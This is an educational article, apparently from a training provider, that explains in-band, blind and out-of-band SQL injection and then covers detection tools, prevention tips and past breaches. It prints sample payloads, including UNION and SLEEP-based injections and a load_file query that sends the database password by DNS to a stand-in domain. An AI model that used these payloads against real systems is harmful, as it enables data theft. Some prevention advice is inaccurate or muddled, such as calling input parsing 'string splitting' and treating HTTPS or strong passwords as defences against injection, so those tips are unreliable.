SQL Injection [SQLi]: Types, Detection, Prevention & Examples

There are several types of SQL injection; however, the most common ones are: 

1. In-band SQL injection

SQL Injection attacks that are conducted in-band are the most common and easiest to exploit. During an in-band SQL injection, the attacker can both launch the attack and collect results through the same communication channel. 

For example,

By modifying the original query, the attacker can directly receive the results. Consider an example where the user's personal information is displayed in the following question.

SELECT * FROM users WHERE user_id LIKE 'current_user' 

</> Copy Code

An attacker can provide the following current_user by simply concatenating strings in the application: 

%'-- 

As a result, we get the following query string:

SELECT * FROM users WHERE user_id LIKE '%'--' 

</> Copy Code

A single quote completes an SQL statement. It is considered a comment when the dash (-) follows the line. Thus, the following query is executed by the application:

SELECT * FROM users WHERE user_id LIKE '%' 

</> Copy Code

As a result of this attack, not just one user record will be displayed, but the entire user's table (personal data). 

In-band SQL injection can be divided into two types: error-based and union-based SQLi 

A) SQLi Error

A SQL injection test technique called error-based because it uses error messages thrown by the database server to find out the database’s structure. In some cases, an attacker can enumerate an entire database with error-based SQL injection. A live website should disable errors, or log them to a file with restricted access, instead of storing them in the log file. 

For example, let's consider the following query:

SELECT * FROM users WHERE user_id = 'current_user' 

</> Copy Code

Current_user values may be provided by malicious hackers as follows: 

1'

This results in the following query:

SELECT * FROM users WHERE user_id = '1'' 

</> Copy Code

There is an error in the query due to the double quotes at the end. An attacker may see a message such as this if the web server displays errors on screen:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/query.php on line 37 

</> Copy Code

Consequently, the attacker can focus on MySQL-specific attacks as soon as he realizes the application uses a MySQL database. 

B) SQLi Union

The UNION SQL operator is used to combine the results of two or more SELECT statements into one result in Union-based SQL injection.

For example, let's consider the following query:

SELECT * FROM users WHERE user_id = 'current_user' 

</> Copy Code

Current_user may be provided by a malicious hacker as follows:

-1' UNION SELECT version(),current_user()--' 

</> Copy Code

Thus, the query becomes:

SELECT * FROM users WHERE user_id = '-1' UNION SELECT version(),current_user()--' 

</> Copy Code

Database versions and current users are returned by the version and current_user functions in MySQL. Following is the information the attacker receives:

5.1.73-0ubuntu0.10.04.1 
mysql@localhost 

</> Copy Code

It is immediately apparent to the attacker that the application uses a MySQL 5.1.73 database on Ubuntu 10.04.1, accessed by the user mysql. 

2. Inferential SQL injection

Inferential SQL injection is also known as blind SQLi. Contrary to in-band SQL injection, inferential SQL injection may take longer for attackers to exploit. However, any form of SQLi is dangerous. 

The attacker cannot directly see the responses of the injected queries in Inferential SQLi because the data is not transferred between the web applications. Instead, these kinds of vulnerabilities are exploited by observing the behavior of the application in order to enumerate the database. 

This example illustrates what happens when a SQL injection fails due to an inference-based attack. At the time of executing the stacked condition, the database engine checks if the current user is a system administrator (SA). By executing a division by zero, the statement forces the database to throw an error if the condition is true. Unless otherwise specified, a valid instruction will be carried out. 

MALICIOUS PARAMETER (INFERENCE ATTACK ON SQL SERVER).

1; IF SYSTEM_USER='sa' SELECT 1/0 ELSE SELECT 5 

</> Copy Code

QUERY GENERATED (TWO POSSIBLE OUTCOMES FOR THE INJECTED IF).

SELECT name, email FROM members WHERE id=1; IF SYSTEM_USER='sa' SELECT 1/0 ELSE SELECT 5 

</> Copy Code

An attacker who sees a database error will be able to conclude the system administrator user is running the database. Since the branch created by the ELSE instruction is not required, the last part of the condition could be removed. 

There are two types of Inferential SQLi — Boolean-based and Time based

A) Boolean based SQLi  

Also known as content-based SQLi, as part of this attack, the attacker sends an SQL query to the database, which the application interprets as a true or false result based upon the results returned from the database. 

Depending on the result, the HTTP response content may change. Even if no data is returned from the database, a malicious attacker can still determine whether the payload used returned true or false. As an attacker would have to enumerate the characters in a database, this is often a slow attack (especially when dealing with large databases). 

Take an example as:

https://example.thisisnewwebsite.com/items.php?id=2 

</> Copy Code

The application's vulnerable data access layer can use this URL request to construct an SQL query.

SELECT title, description, body FROM items WHERE ID = 2 and 1=2 

</> Copy Code

As a result of SQL injection, an application that is vulnerable will not return anything, and the attacker will then inject a query with a true condition (1=1). An attacker can infer that SQL injection is working if the contents of the page differ from those that are returned during the false condition. Once the attacker has verified he is all set, he will be able to use other SQL Injection methods. 

B) Time-based SQLi 

An SQL query is successfully executed when the database is paused for a specified amount of time and then returned. 

The MySQL function SLEEP, for instance, can be used. Only MySQL 5 supports this function.

/* Resulting query (with malicious SLEEP injected). */  
SELECT * FROM table WHERE id=1-SLEEP(15) 

</> Copy Code

Attackers may attempt SQL injection if they slow down the response by using these functions in the query. A complex payload can be injected as a result.

/*Resulting query - Time-based attack to verify database version. */ 
SELECT * FROM card WHERE id=1-IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0) 

</> Copy Code

Similarly, WAIT FOR DELAY and WAIT FOR TIME in SQL Server can suspend and resume query execution when system time equals the specified parameter, respectively. 

3. Out-of-band SQL injection

It is not very common to perform out-of-band SQL injections because it depends on the features of the web application’s database server to be enabled. If an attacker cannot launch the attack and gather results over the same channel, the attack is called out-of-band SQL injection. 

In an out-of-band attack, the attacker manipulates the targeted application to send data to a remote endpoint under his control rather than receiving a response from it. 

If your server triggers DNS or HTTP requests, then you can perform an out-of-band SQL injection. 

MySQL out-of-band SQL injection example 

It is possible for an attacker to exfiltrate data using the load_file function and then create a request to a domain name containing the exfiltrated data if the MySQL database server is started with an empty secure_file_priv global system variable, as is the case by default on MySQL server 5.5.52 and below (as well as the MariaDB fork). 

Consider the following SQL query that the attacker can execute on the target database:

SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.', (SELECT+password),'.',example.com\\test.txt')) 

</> Copy Code

An attacker can intercept sensitive data (database version, user name, and password) by sending a DNS request to the domain database_version.database_user.database_password.example.com. 

How to Detect SQL Injection Vulnerabilities? 

Regular database audits are essential for determining whether your application has been compromised. SQL injection can be detected by querying the database for common HTML tags used by worms. 

The IP addresses of malicious servers can also be identified by tags such as “iframe” or “http-equiv=”refresh”. Check HTML pages created with dynamic content for hidden iframes or unusual behavior to identify a compromise. It is, however, only possible to implement this method once a compromised system has already been identified. In routine audits, compromised systems are detected but cannot be fixed. An exploited application can alter data so recovering it from this state can be difficult and expensive. 

Best SQL Injection Tools for Detection 

1. SQLMap

You can download SQLMap from GitHub, an automatic tool that takes over SQLi and databases. The open-source penetration testing tool can detect and exploit SQLi flaws and attacks that take over databases. 

2. jSQL Injection

A Java-based tool, jSQL Injection, helps IT teams find SQL injection vulnerability from distant servers. There are many ways to address SQLi, including free and open-source software. Versions 11–17 of Java are supported, and it works with Linux, Windows, and Mac operating systems. 

3. Burp

A web vulnerability scanner developed by PortSwigger, which is part of Burp Suite, allows users to automatically detect a wide range of vulnerabilities in web applications. 

How to Avoid SQL Injection Attack?  

With SQL injection parameterized queries, bound parameter types, and parameters in stored procedures in the database, developers can avoid SQL injection attack and vulnerabilities in web applications. 

In addition, you can take further steps to avoid the SQL injection attack by following the following rules: 

1. Maintain the most current security software for all components of web applications, including plug ins, database and web server software, frameworks, and libraries 
2. Using the same database account for multiple applications or websites is not recommended. 
3. Ensure that all user input, including radio buttons and drop-down menus, is accurate.
4. Implement proper error reporting on the web server and in the code to prevent database error messages from being sent to the client's web browser. Using technical details in error messages, attackers can successfully exploit lengthy error messages. 
5. If you are provisioning accounts to access the SQL database, follow the principle of least privilege. If you plan to retrieve web content from a database only, do not grant INSERT, UPDATE, or DELETE privileges to the web site's database connection credentials.

How to Prevent SQL Injection Attacks + Tips  

To prevent SQL injection attacks on websites and web applications, companies and organizations should follow the following principles: 

1. Parse the User Input: The first step toward SQL injection prevention is to parse the user input. This means you should check the data the user submits to determine the information type. This process is called “string splitting” and can be done on the front end, back end, or both. 
2. Use Strong Protocols: Strong protocols that are used to transmit data are less likely to be vulnerable to an SQL Injection attack. Setting up HTTPS, for instance, will make it more difficult for hackers to intercept and read the transmission. 
3. Use a firewall: A firewall will help you to identify unwanted traffic, such as malicious code, and prevent it from reaching your server. When paired with an IDS, the firewall can also provide alerts when malicious traffic is detected.
4. Use an IDS: The IDS can detect abnormal behavior inside a server or network. This includes traffic that is attempting to exploit vulnerabilities or malicious code. — Use a Database Management System: A Database Management System that is designed to help prevent SQL Injection attacks is a good option for protecting your database. 
5. Set strong passwords: Most SQL injection attacks are made through a brute force attack. A strong password will help protect your database from this attack. 
6. Limit team member permissions: Limiting employee's permissions can help prevent them from accessing and modifying data they shouldn’t have access to. This includes data in your database.  
7. Use robust protocols: Strong protocols that are used to transmit data are less likely to be vulnerable to an SQL Injection attack. By setting up HTTPS, for instance, hackers will have a harder time intercepting and reading your transmissions. 
8. Use a Database Management System: A Database Management System that is designed to help prevent SQL Injection attacks is a good option for protecting your database. 

SQL Injection Examples

Large websites, businesses, and social media platforms have been targeted by SQL injection attacks over the past 20 years. Some of these attacks caused data breaches. Here are a few examples: 

The Rhode Island state government website was hacked in 2006 by hackers claiming to be from Russia. They stole over 4,000 credit card numbers from the site. 

• US authorities charged Albert Gonzalez and two co-conspirators with hacking 7-Eleven and several other companies in 2009 using SQL injection commands to steal 130 million credit card numbers. 
• The hacker Team GhostShell published 36,000 personal records stolen from more than 53 universities in 2012, using SQLi to steal the data. 
• An attack carried out by RedHack in 2013 erased the debts of people owed to governmental agencies after the collective used SQLi to break into the Turkish government website. 
• It was discovered that security researchers stole user data from Tesla’s website in 2014 after compromised ita blind SQLi attack compromised it. 
• An SQLi attack was used in 2015 to hack the crowdfunding website Patreon. The attackers stole more than passwords and donation records — they also stole Patreon’s source code. 
• An SQLi vulnerability enabled a 10-year-old Finnish boy to delete comments on other Instagram users’ accounts in 2016. 
• An SQLi attack was used to gain access to user accounts via flaws found in the website of the popular video game Fortnite in 2019. 

Looking to boost your IT career? Get certified in ITIL 4 Foundation! Our courses offer comprehensive training to help you excel. Don't miss out on this opportunity! Enroll now and take your skills to the next level.

Conclusion  

SQL injection in cyber security is a type of attack that hackers can perform on a website intended to exploit a website’s underlying database’s Structured Query Language (SQL). 

The goal of a SQL injection attack is to manipulate the website’s database and use it to run commands that either get information from the website or control it. This can compromise the integrity of an entire network. 

To prevent SQL injection, you’ll want to ensure that your website's data is safe and adequately filtered. You can do this by using an input mask, filtering data in your database, or both. If you do these things, you can significantly reduce the likelihood of your website becoming the target of a SQL injection attack. 

Learn more about how to protect yourself from cybercrime by enrolling in the KnowledgeHut’s Cyber Security training program.